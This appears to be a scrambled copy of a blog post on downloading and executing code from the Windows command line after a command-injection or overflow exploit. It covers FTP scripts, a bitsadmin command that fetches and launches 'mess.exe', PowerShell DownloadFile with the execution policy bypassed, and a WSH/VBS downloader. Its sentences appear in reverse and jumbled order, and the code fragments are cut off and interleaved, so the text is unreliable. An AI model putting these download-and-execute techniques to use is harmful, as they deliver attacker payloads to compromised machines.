powershell.exe -executionpolicy bypass -file poc.ps1Īnother elegant way to run our code without any scripts is by chaining our code in one line as shown below PowerShell (New-Object ).DownloadFile(' We can echo this script to a file and then run the script using Powershell with the “bypass” parameter as by default the Powershell policy is set to “restricted”. $exec = New-Object -com shell.application Below is a script which downloads and executes mess.exe.

#RUN VBS FILE FROM CMD PERU WINDOWS#

Powershell is a scripting language which comes as standard in Windows 7. cmd.exe /c "bitsadmin /transfer myjob /download /priority high ww./tools/messbox.exe c:\mess.exe&start mess.exe" After reconnection the transfer continues where it left off and executes our code. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost.

Windows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. Le Set End Set Set objShell.Exec("mess.exe")>poc.vbs&cscript.exe poc.vbs" Type=1 objADOStream.Write objADOStream.Position=0 objADOStream.SaveToFi cmd.exe /c Set objXMLHTTP.open If objXMLH Set objShell = CreateObject("WScript.Shell")īelow is the code that is chained up and then using cscript.exe to run our script. ObjADOStream.Write objXMLHTTP.ResponseBody Set objADOStream = CreateObject("ADODB.Stream") Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") For this we again need to echo out the scripting code to a file and then run our script by cscript.exe. Windows Scripting Host can also be used to download and execute code. Also our script file can also be represented as a single character. We can make the command string smaller by using o for open and b for binary. Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary. Nevertheless the command string length can be reasonably small. The downside to this method is that we’ll need to have a FTP server hosting the binary file. Most of you would most probably know these methods but I thought I’d post it anyway for my own reference.įTP can be used to download a binary and then get executed with the start command. In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method.
